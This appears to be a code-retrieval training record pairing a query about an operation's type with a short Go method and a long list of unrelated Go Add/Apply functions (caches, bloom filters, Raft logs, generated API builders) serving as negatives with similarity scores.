"func (s *Store) add(id string, e Entry) (err error) {\n\tutils.Assert(!utils.IsSet(e.ID()) || id == e.ID(), \"ID must not be set here\")\n\tif _, exists := (*s)[id]; exists {\n\t\treturn fmt.Errorf(\"Found multiple parameter definitions with id '%v'\", id)\n\t}\n\n\tif !utils.IsSet(e.ID()) {\n\t\te.setID(id)\n\t}\n\t(*s)[id] = e\n\treturn nil\n}", "func (h Hook) apply(m *Meta) {\n\tm.Hooks = append(m.Hooks, h)\n}", "func (s *State) Add(tx Transaction) error {\n\tif err := s.apply(tx); err != nil {\n\t\treturn err\n\t}\n\n\ts.txMempool = append(s.txMempool, tx)\n\n\treturn nil\n}", "func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (l *RaftLog) addEntry(term uint64, data []byte) {\n\tnewEntry := pb.Entry{\n\t\tIndex: l.LastIndex() + 1,\n\t\tTerm: term,\n\t\tData: data,\n\t}\n\tl.entries = append(l.entries, newEntry)\n\tl.pendingEntries = append(l.pendingEntries, newEntry)\n}", "func (f *File) Add(entry entry) {\n\tif err := doError(); err != nil {\n\t\tfmt.Println(err)\n\t}\n}", "func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}", "func (m *mEntry) AddAny(key string, val interface{}) Entry {\n\tfor i := range m.es {\n\t\tm.es[i] = m.es[i].AddAny(key, val)\n\t}\n\treturn m\n}", "func (r Row) Add(e Entry) Row {\n\tif e.Size.Size() > r.W*r.H-r.C {\n\t\treturn r\n\t}\n\n\t// Interate over the part of the grid where the entry could be added\n\tfor j := 0; j < r.H-e.Size.H+1; j++ {\n\t\tfor i := 0; i < r.W-e.Size.W+1; i++ {\n\t\t\t// Iterate over the Entry\n\t\t\tif r.Coverage.empty(e.Size.W, e.Size.H, i, j) {\n\t\t\t\tr.Entries = append(r.Entries, e.Pos(i, j))\n\t\t\t\tr.C += e.Size.Size()\n\t\t\t\tr.Coverage.fill(e.Size.W, e.Size.H, i, j)\n\t\t\t\treturn r\n\t\t\t}\n\t\t}\n\t}\n\n\treturn r\n}", "func (c *Collection) Add(entry interface{}) error {\n\tkeyComponents, err := c.generateKey(entry)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\tkey, err := c.formatKey(keyComponents)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\texists, err := c.exists(key)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\tif exists {\n\t\treturn fmt.Errorf(\"Failed to add to collection. Key already exists\")\n\t}\n\n\tbytes, err := c.Serializer.ToBytes(entry)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\tif c.Name != WorldStateIdentifier {\n\t\terr = c.Stub.PutPrivateData(c.Name, key, bytes)\n\t} else {\n\t\terr = c.Stub.PutState(key, bytes)\n\t}\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to add to collection. %s\", err.Error())\n\t}\n\n\treturn nil\n}", "func (r *ExactMatchLookupJobMatchingRowsCollectionRequest) Add(ctx context.Context, reqObj *LookupResultRow) (resObj *LookupResultRow, err error) {\n\terr = r.JSONRequest(ctx, \"POST\", \"\", reqObj, &resObj)\n\treturn\n}", "func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}", "func Add(ds datastore.Datastore, a Input) (int, error) {\n\treturn add(ds, a)\n}", "func (h *History) Add(key int, input, output interface{}, start, end int64) {\n\th.Lock()\n\tdefer h.Unlock()\n\tif _, exists := h.shard[key]; !exists {\n\t\th.shard[key] = make([]*operation, 0)\n\t}\n\to := &operation{input, output, start, end}\n\th.shard[key] = append(h.shard[key], o)\n\th.operations = append(h.operations, o)\n}", "func (h *History) Add(key int, input, output interface{}, start, end int64) {\n\th.Lock()\n\tdefer h.Unlock()\n\tif _, exists := h.shard[key]; !exists {\n\t\th.shard[key] = make([]*operation, 0)\n\t}\n\to := &operation{input, output, start, end}\n\th.shard[key] = append(h.shard[key], o)\n\th.operations = append(h.operations, o)\n}", "func (as appendStrategy) apply() error {\n\tif as.lastErr == nil {\n\t\treturn nil\n\t}\n\treturn Append(as.previousErr, as.lastErr)\n}", "func (s *MedianSubscriber) addEntry(e entry) {\n\tn := len(s.entries)\n\tpos := sort.Search(n, func(i int) bool {\n\t\treturn s.entries[i].Compare(e) >= 0\n\t}) // insert pos of entry\n\tif pos == n {\n\t\ts.entries = append(s.entries, e)\n\t} else {\n\t\ts.entries = append(s.entries[:pos+1], s.entries[pos:]...)\n\t\ts.entries[pos] = e\n\t}\n}", "func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}", "func (d *Dao) Add(ctx context.Context, h *model.History) error {\n\tvalueByte, err := json.Marshal(h)\n\tif err != nil {\n\t\tlog.Error(\"json.Marshal(%v) error(%v)\", h, err)\n\t\treturn err\n\t}\n\tfValues := make(map[string][]byte)\n\tcolumn := d.column(h.Aid, h.TP)\n\tfValues[column] = valueByte\n\tkey := hashRowKey(h.Mid)\n\tvalues := map[string]map[string][]byte{family: fValues}\n\tctx, cancel := context.WithTimeout(ctx, time.Duration(d.conf.Info.WriteTimeout))\n\tdefer cancel()\n\tif _, err = d.info.PutStr(ctx, tableInfo, key, values); err != nil {\n\t\tlog.Error(\"info.PutStr error(%v)\", err)\n\t}\n\treturn nil\n}", "func (r ApiGetBulkExportedItemListRequest) Apply(apply string) ApiGetBulkExportedItemListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}", "func (f *Flattener) Add(point *FlattenerPoint) error {\n\n\titem, ok := f.pointMap.Load(point.hash)\n\tif ok {\n\t\tentry := item.(*mapEntry)\n\t\tentry.values = append(entry.values, point.value)\n\t\treturn nil\n\t}\n\n\tentry := &mapEntry{\n\t\tvalues: []float64{point.value},\n\t\tflattenerPointData: flattenerPointData{\n\t\t\toperation: point.operation,\n\t\t\ttimestamp: point.timestamp,\n\t\t\tdataChannelItem: point.dataChannelItem,\n\t\t},\n\t}\n\n\tf.pointMap.Store(point.hash, entry)\n\n\treturn nil\n}", "func (k Keeper) Add(ctx sdk.Context, address sdk.AccAddress, amount sdk.Int) (sdk.Int, error) {\n\tvalue, err := k.Get(ctx, address)\n\tif err != nil {\n\t\treturn sdk.Int{}, sdkerrors.Wrapf(sdkerrors.ErrInvalidRequest, err.Error())\n\t}\n\tres := value.Add(amount)\n\t// emit event\n\tctx.EventManager().EmitEvent(\n\t\tsdk.NewEvent(\n\t\t\ttypes.EventType,\n\t\t\tsdk.NewAttribute(sdk.AttributeKeyAction, types.AttributeActionAdded),\n\t\t\tsdk.NewAttribute(types.AttributeKeyAddress, address.String()),\n\t\t\tsdk.NewAttribute(types.AttributeKeyAmount, amount.String()),\n\t\t),\n\t)\n\treturn k.set(ctx, address, res)\n}", "func (r ApiGetHyperflexDatastoreStatisticListRequest) Apply(apply string) ApiGetHyperflexDatastoreStatisticListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (lw *StandardLogWriter) AddEntry(opEntry OperationEntry) {\n\tlw.OpEntries = append(lw.OpEntries, opEntry)\n}", "func (r ApiGetHyperflexVmImportOperationListRequest) Apply(apply string) ApiGetHyperflexVmImportOperationListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (s *StyleBuilder) Add(ttype TokenType, entry string) *StyleBuilder { // nolint: gocyclo\n\ts.entries[ttype] = entry\n\treturn s\n}", "func (r ApiGetBulkResultListRequest) Apply(apply string) ApiGetBulkResultListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\n\t// TODO: Implement this method\n\treturn nil\n}", "func (e *Element) Apply(element *Element) {\n\telement.Children = append(element.Children, e)\n}", "func (q query) Add(key string, op Operator, val ...interface{}) {\n\tq.init(key)\n\tq[key][op] = append(q[key][op], val...)\n}", "func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}", "func (r ApiGetBulkRequestListRequest) Apply(apply string) ApiGetBulkRequestListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexHealthListRequest) Apply(apply string) ApiGetHyperflexHealthListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (filter *BloomFilter) Add(key interface{}) {\n\tindexes := filter.getIndexes(key)\n\n\tfor i := 0; i < len(indexes); i++ {\n\t\tfilter.bits.Set(indexes[i])\n\t}\n\n\tfilter.keySize += 1\n}", "func (bf *BloomFilter) Add(value interface{}) {\n\tbf.blf.Add(value)\n}", "func (dump *Dump) EctractAndApplyUpdateEntryType(record *Content, pack *PackedContent) {\n\tdump.RemoveFromEntryTypeIndex(pack.EntryTypeString, pack.ID)\n\n\tpack.EntryType = record.EntryType\n\tpack.EntryTypeString = entryTypeKey(record.EntryType, record.Decision.Org)\n\n\tdump.InsertToEntryTypeIndex(pack.EntryTypeString, pack.ID)\n}", "func (c *Cache) Add(key Key, value interface{}) *Cache {\n\tif el, hit := c.cache[key]; hit {\n\t\tel.Value.(*entry).value = value\n\t\tc.ddl.MoveToFront(el)\n\t\treturn c\n\t}\n\n\tif c.ddl.Len() >= c.maxEntries {\n\t\tlel := c.ddl.Back()\n\t\tc.remove(lel)\n\t}\n\n\te := entry{key: key, value: value}\n\tel := c.ddl.PushFront(&e)\n\tc.cache[key] = el\n\treturn c\n}", "func (cs cacheSize) add(bytes, entries int32) cacheSize {\n\treturn newCacheSize(cs.bytes()+bytes, cs.entries()+entries)\n}", "func (so *Operations) Add(op api.Operation) error {\n\tso.safe()\n\tkey := op.Id()\n\tif _, found := so.oMap[key]; !found {\n\t\tso.oOrder = append(so.oOrder, key)\n\t}\n\tso.oMap[key] = op\n\treturn nil\n}", "func (m mapImports) Add(key string, value string, thirdParty bool) {\n\tmp := m[key]\n\tif thirdParty {\n\t\tmp.thirdParty = append(mp.thirdParty, value)\n\t} else {\n\t\tmp.standard = append(mp.standard, value)\n\t}\n\n\tm[key] = mp\n}", "func (r ApiGetHyperflexServerFirmwareVersionEntryListRequest) Apply(apply string) ApiGetHyperflexServerFirmwareVersionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (pred *LikePredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\n\tlike := \"like\"\n\n\tif pred.CaseSensitive {\n\t\tlike = \"ilike\"\n\t}\n\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s %s ?\", pred.Column.Name(), like))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}", "func (h HyperLogLog) Add(ctx context.Context, values ...string) (int64, error) {\n\treq := newRequestSize(2+len(values), \"\\r\\n$5\\r\\nPFADD\\r\\n$\")\n\treq.addStringAndStrings(h.name, values)\n\treturn h.c.cmdInt(ctx, req)\n}", "func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\n\terr := Err(OK)\n\tval, keyOk := kv.store[op.Key]\n\n\t// only do the store modification if we haven't already\n\t// seen this request (can happen if a leader crashes after comitting\n\t// but before responding to client)\n\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\n\t\tif op.OpType == \"Get\" && !keyOk {\n\t\t\t// Get\n\t\t\terr = Err(ErrNoKey)\n\t\t} else if op.OpType == \"Put\" {\n\t\t\t// Put\n\t\t\tkv.store[op.Key] = op.Value\n\t\t} else if op.OpType == \"Append\" {\n\t\t\t// Append (may need to just Put)\n\t\t\tif !keyOk {\n\t\t\t\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\n\t\t\t} else {\n\t\t\t\tkv.store[op.Key] += op.Value\n\t\t\t}\n\t\t}\n\t\tkv.Log(LogInfo, \"Store updated:\", kv.store)\n\t} else {\n\t\tkv.Log(LogDebug, \"Skipping store update, detected duplicate command.\")\n\t}\n\n\t// create the op, add the Value field if a Get\n\tappliedOp := KVAppliedOp{\n\t\tTerm: opTerm,\n\t\tIndex: opIndex,\n\t\tKVOp: op,\n\t\tErr: err,\n\t}\n\tif op.OpType == \"Get\" {\n\t\tappliedOp.Value = val\n\t}\n\tkv.Log(LogDebug, \"Applied op\", appliedOp)\n\n\t// update tracking of latest op applied\n\tkv.lastIndexApplied = appliedOp.Index\n\tkv.lastTermApplied = appliedOp.Term\n\treturn appliedOp\n}", "func (m *mEntry) AddErr(err error) Entry {\n\tfor i := range m.es {\n\t\tm.es[i] = m.es[i].AddErr(err)\n\t}\n\treturn m\n}", "func (digest *MergingDigest) Add(x float64, w int64) {\n\tif w <= 0 {\n\t\tpanic(\"Cannot add samples with non-positive weight\")\n\t}\n\tdigest.Merge(Centroid{\n\t\tMean: x,\n\t\tCount: w,\n\t})\n}", "func (this *DateAddStr) Apply(context Context, date, n, part value.Value) (value.Value, error) {\n\tif date.Type() == value.MISSING || n.Type() == value.MISSING || part.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if date.Type() != value.STRING || n.Type() != value.NUMBER || part.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tda := date.Actual().(string)\n\tt, fmt, err := strToTimeFormat(da)\n\tif err != nil {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tna := n.Actual().(float64)\n\tif na != math.Trunc(na) {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tpa := part.Actual().(string)\n\tt, err = dateAdd(t, int(na), pa)\n\tif err != nil {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\treturn value.NewValue(timeToStr(t, fmt)), nil\n}", "func (c *Changer) Add(v interface{}) error {\n\tif c.err != nil {\n\t\treturn c.err\n\t}\n\t_, err := c.node.addChild(justValue{v})\n\treturn err\n}", "func (r ApiGetBulkExportListRequest) Apply(apply string) ApiGetBulkExportListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (s *set) Add(t *Term) {\n\ts.insert(t)\n}", "func (c *cache) addMulti(e *Entry) error {\n\thashes, err := allHashes(e)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tif _, present := c.entries[e.name]; present {\n\t\t// log or fail...?\n\t\tc.log.Warning(\"[cache] Overwriting cache entry '%s'\", e.name)\n\t} else {\n\t\tc.log.Info(\"[cache] Adding entry for '%s'\", e.name)\n\t}\n\tc.entries[e.name] = e\n\tfor _, h := range hashes {\n\t\tc.lookupMap[h] = e\n\t}\n\treturn nil\n}", "func (r ApiGetBulkSubRequestObjListRequest) Apply(apply string) ApiGetBulkSubRequestObjListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexFeatureLimitExternalListRequest) Apply(apply string) ApiGetHyperflexFeatureLimitExternalListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\n\tctx := server.Context().(ServerContext)\n\tdb := ctx.Server.db\n\tdb.Put(c.Key, c.Value)\n\treturn nil, nil\n}", "func (c *Client) FilterEntryAdd(tenant, filter, entry, etherType, ipProto, srcPortFrom, srcPortTo, dstPortFrom, dstPortTo string) error {\n\n\tme := \"FilterEntryAdd\"\n\n\trn := rnFilterEntry(entry)\n\tdn := dnFilterEntry(tenant, filter, entry)\n\n\tapi := \"/api/node/mo/uni/\" + dn + \".json\"\n\n\turl := c.getURL(api)\n\n\tj := fmt.Sprintf(`{\"vzEntry\":{\"attributes\":{\"dn\":\"uni/%s\",\"name\":\"%s\",\"etherT\":\"%s\",\"status\":\"created,modified\",\"prot\":\"%s\",\"sFromPort\":\"%s\",\"sToPort\":\"%s\",\"dFromPort\":\"%s\",\"dToPort\":\"%s\",\"rn\":\"%s\"}}}`,\n\t\tdn, entry, etherType, ipProto, srcPortFrom, srcPortTo, dstPortFrom, dstPortTo, rn)\n\n\tc.debugf(\"%s: url=%s json=%s\", me, url, j)\n\n\tbody, errPost := c.post(url, contentTypeJSON, bytes.NewBufferString(j))\n\tif errPost != nil {\n\t\treturn fmt.Errorf(\"%s: %v\", me, errPost)\n\t}\n\n\tc.debugf(\"%s: reply: %s\", me, string(body))\n\n\treturn parseJSONError(body)\n}", "func (r ApiGetHyperflexAppCatalogListRequest) Apply(apply string) ApiGetHyperflexAppCatalogListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r *reflectorStore) Add(obj interface{}) error {\n\tmetaObj := obj.(metav1.Object)\n\tentity := r.parser.Parse(obj)\n\n\tr.mu.Lock()\n\tdefer r.mu.Unlock()\n\n\tr.hasSynced = true\n\tr.seen[string(metaObj.GetUID())] = entity.GetID()\n\tr.wlmetaStore.Notify([]workloadmeta.CollectorEvent{\n\t\t{\n\t\t\tType: workloadmeta.EventTypeSet,\n\t\t\tSource: collectorID,\n\t\t\tEntity: entity,\n\t\t},\n\t})\n\n\treturn nil\n}", "func (r ApiGetHyperflexNodeListRequest) Apply(apply string) ApiGetHyperflexNodeListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (b *ReplaceBuilder) Add(vals ...interface{}) *ReplaceBuilder {\n\tvar rows Values\n\tif b.Insert.Rows != nil {\n\t\trows = b.Insert.Rows.(Values)\n\t}\n\tb.Insert.Rows = append(rows, makeValTuple(vals))\n\treturn b\n}", "func (wlt *Wallet) AddEntry(entry Entry) error {\n\t// dup check\n\tfor _, e := range wlt.Entries {\n\t\tif e.Address == entry.Address {\n\t\t\treturn errors.New(\"duplicate address entry\")\n\t\t}\n\t}\n\n\twlt.Entries = append(wlt.Entries, entry)\n\treturn nil\n}", "func (r ApiGetHyperflexClusterListRequest) Apply(apply string) ApiGetHyperflexClusterListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (cp *ChangeLog) Add(newEntry LogEntry) {\n\tnewEntry.assertValid()\n\tif len(cp.Entries) == 0 || newEntry.Sequence == cp.Since {\n\t\tcp.Since = newEntry.Sequence - 1\n\t}\n\tcp.Entries = append(cp.Entries, &newEntry)\n}", "func (d *Dao) AddCaseReasonApply(c context.Context, mid, cid int64, applyType, originReason, applyReason int8) (err error) {\n\t_, err = d.db.Exec(c, _inBlockedCaseApplyLogSQL, mid, cid, applyType, originReason, applyReason)\n\tif err != nil {\n\t\tlog.Error(\"AddCaseReasonApply err(%v)\", err)\n\t\treturn\n\t}\n\treturn\n}", "func (r ApiGetHyperflexAlarmListRequest) Apply(apply string) ApiGetHyperflexAlarmListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexHealthCheckDefinitionListRequest) Apply(apply string) ApiGetHyperflexHealthCheckDefinitionListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (c *OperandsController) Add(ctx *app.AddOperandsContext) error {\n\ttags := map[string]string{`service-name`: `service-foo`}\n\tvar respErr error\n\n\traven.CapturePanic(func() {\n\t\tsum, err := c.interactor.Add(ctx.Left, ctx.Right)\n\t\tif err != nil {\n\t\t\tlog.Println(`an error occured: `, err)\n\t\t\tc.monitor.CaptureError(err)\n\t\t\trespErr = ctx.InternalServerError()\n\t\t\treturn\n\t\t}\n\n\t\traven.CaptureMessage(`everything is ok`, tags)\n\t\trespErr = ctx.OK([]byte(strconv.Itoa(sum)))\n\t\treturn\n\n\t}, tags)\n\n\treturn respErr\n}", "func (r ApiGetResourcepoolUniverseListRequest) Apply(apply string) ApiGetResourcepoolUniverseListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (this *ConditionalSource) Add(key string, values ...interface{}) *ConditionalSource {\n\tthis.inner.Add(key, values...)\n\treturn this\n}", "func (l *List) Add(docID uint64, occurences uint32) {\n\tvar p *Posting\n\tvar ok bool\n\n\tif p, ok = l.postings[docID]; !ok {\n\t\tp = &Posting{docID: docID}\n\t\tl.postings[docID] = p\n\t\tl.docs = append(l.docs, docID)\n\t\tl.sorted = false\n\t}\n\n\tp.addOccurences(occurences)\n}", "func (list *List) Add(e Entity) {\n\tlist.m[e.Index()] = e\n}", "func (f *BloomFilter) Add(input []byte) *BloomFilter {\n var loc uint32\n a, b := f.getHash(input)\n for i := uint(0); i < f.k; i++ {\n // Location for this hash in the filter\n loc = ( a + b * uint32(i) ) % uint32(f.m)\n f.bits.Set(uint(loc))\n }\n return f\n}", "func (t *RicTable) Add(c *RicEntry) {\n\tt.Mutex.Lock()\n\tdefer t.Mutex.Unlock()\n\n\tt.Entries[c.Rt] = c\n}", "func (as *aggregatorStage) add(e log.Entry) {\n\tas.queueEntries.PushBack(e)\n}", "func (s *streamKey) add(entryID string, values []string, now time.Time) (string, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tif entryID == \"\" || entryID == \"*\" {\n\t\tentryID = s.generateID(now)\n\t}\n\n\tentryID, err := formatStreamID(entryID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif entryID == \"0-0\" {\n\t\treturn \"\", errors.New(msgStreamIDZero)\n\t}\n\tif streamCmp(s.lastIDUnlocked(), entryID) != -1 {\n\t\treturn \"\", errors.New(msgStreamIDTooSmall)\n\t}\n\n\ts.entries = append(s.entries, StreamEntry{\n\t\tID: entryID,\n\t\tValues: values,\n\t})\n\treturn entryID, nil\n}", "func (b *Buffer) Add(ent entity.Key, body inventoryapi.PostDeltaBody) error {\n\tif _, ok := b.contents[ent]; ok {\n\t\treturn fmt.Errorf(\"entity already added: %q\", ent)\n\t}\n\tbodySize, err := sizeOf(&body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif b.currentSize+bodySize > b.capacity {\n\t\treturn fmt.Errorf(\"delta for entity %q does not fit into the request limits. \"+\n\t\t\t\"Free space: %d. Delta size: %d\", ent, b.capacity-b.currentSize, bodySize)\n\t}\n\tb.contents[ent] = body\n\tb.currentSize += bodySize\n\treturn nil\n}", "func (m *Mutator) AddExisting(ctx context.Context, desc ispec.Descriptor, history *ispec.History, diffID digest.Digest) error {\n\tif err := m.cache(ctx); err != nil {\n\t\treturn errors.Wrap(err, \"getting cache failed\")\n\t}\n\n\tm.appendToConfig(history, diffID)\n\tm.manifest.Layers = append(m.manifest.Layers, desc)\n\treturn nil\n}", "func (w *Wheel) Add(action func() bool) {\n\tw.lock.Lock()\n\tdefer w.lock.Unlock()\n\n\te := &entry{action: action}\n\tr := w.r.Prev()\n\tif v := r.Value; v != nil {\n\t\te.next = v.(*entry)\n\t}\n\tr.Value = e\n}", "func (t *txLookup) Add(tx *types.Transaction) {\n\tt.lock.Lock()\n\tdefer t.lock.Unlock()\n\n\tt.all[tx.Hash()] = tx\n}", "func (b *bloom) Add(key []byte) {\n\th1 := murmur3.Sum32(key)\n\th2 := (h1 >> 17) | (h1 << 15)\n\t// Mix hash according to Kirsch and Mitzenmacher\n\tfor i := 0; i < bloomHashes; i++ {\n\t\tp := h1 % uint32(bloomBits)\n\t\tb.bits[p/8] |= (1 << (p % 8))\n\t\th1 += h2\n\t}\n}", "func (r *WorkplaceRepository) Add(ctx context.Context, entity *model.WorkplaceInfo) error {\n\tdata, err := json.Marshal(entity)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error to marshal workplace info\")\n\t}\n\t_, err = r.db.Conn.Exec(ctx, \"INSERT INTO workplace(info) VALUES($1) ON CONFLICT (info) DO UPDATE SET updated_at=now()\", data)\n\treturn err\n}", "func (dc *DigestCache) Add(hash []byte, text []byte) {\n\tdc.Records[string(hash)] = text\n}", "func (r ApiGetHyperflexConfigResultListRequest) Apply(apply string) ApiGetHyperflexConfigResultListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (wectxs *WorkflowContextsMap) Add(id int64, wectx *WorkflowContext) int64 {\n\twectxs.safeMap.Store(id, wectx)\n\treturn id\n}", "func (m *mEntry) AddStr(key string, val string) Entry {\n\tfor i := range m.es {\n\t\tm.es[i] = m.es[i].AddStr(key, val)\n\t}\n\treturn m\n}", "func (r ApiGetResourcepoolPoolMemberListRequest) Apply(apply string) ApiGetResourcepoolPoolMemberListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexFeatureLimitInternalListRequest) Apply(apply string) ApiGetHyperflexFeatureLimitInternalListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (c *Cache) Add(key string, value Value) {\n\tif item, ok := c.cache[key]; ok {\n\t\tc.ll.MoveToFront(item)\n\t\tkv := item.Value.(*entry)\n\t\tc.nBytes += int64(value.Len()) - int64(kv.value.Len())\n\t\tkv.value = value\n\t} else {\n\t\titem := c.ll.PushFront(&entry{key, value})\n\t\tc.cache[key] = item\n\t\tc.nBytes += int64(len(key)) + int64(value.Len())\n\t}\n\tfor c.maxBytes != 0 && c.maxBytes < c.nBytes {\n\t\tc.RemoveOldest()\n\t}\n}", "func (r ApiGetHyperflexHealthCheckExecutionListRequest) Apply(apply string) ApiGetHyperflexHealthCheckExecutionListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (d Date) Add(i interface{}) (Entry, error) {\n\tdays, ok := i.(int)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Dates can only be incremented by integers\")\n\t}\n\treturn Date(int(d) + days), nil\n}" ]
[ "0.61775804", "0.6137199", "0.60082716", "0.5884632", "0.58682215", "0.5847783", "0.5780768", "0.5775422", "0.5764713", "0.5763308", "0.5746118", "0.5726146", "0.57200396", "0.5684522", "0.5669998", "0.56285226", "0.5605776", "0.559246", "0.55795354", "0.5579335", "0.5573476", "0.55048096", "0.5500671", "0.5500671", "0.5500249", "0.54887533", "0.54866517", "0.54505014", "0.54476964", "0.5445269", "0.5435423", "0.5425599", "0.54207784", "0.54028344", "0.5395018", "0.5388054", "0.53868824", "0.53788483", "0.53742844", "0.53702676", "0.53698546", "0.5341442", "0.53369915", "0.53358084", "0.53338045", "0.53331286", "0.53267753", "0.53169763", "0.53152895", "0.5303823", "0.52954924", "0.52937686", "0.5273037", "0.5271761", "0.52699053", "0.5269457", "0.52658963", "0.52613395", "0.52534807", "0.52273184", "0.52224535", "0.5216076", "0.5213764", "0.5212217", "0.5199203", "0.5194919", "0.5191281", "0.51883113", "0.51842296", "0.51830846", "0.51705897", "0.51690656", "0.51646036", "0.5163337", "0.51613545", "0.5159842", "0.515008", "0.51491535", "0.51478326", "0.51299113", "0.5128997", "0.51272124", "0.51240975", "0.5123444", "0.5119202", "0.5117442", "0.511359", "0.5111219", "0.51095396", "0.51089674", "0.5108345", "0.5107808", "0.5105192", "0.51045287", "0.5099641", "0.5097047", "0.5096811", "0.50904894", "0.5088169", "0.50815684" ]
0.71641654
0
Type will return the type of operation
func (op *OpAdd) Type() string { return "add" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
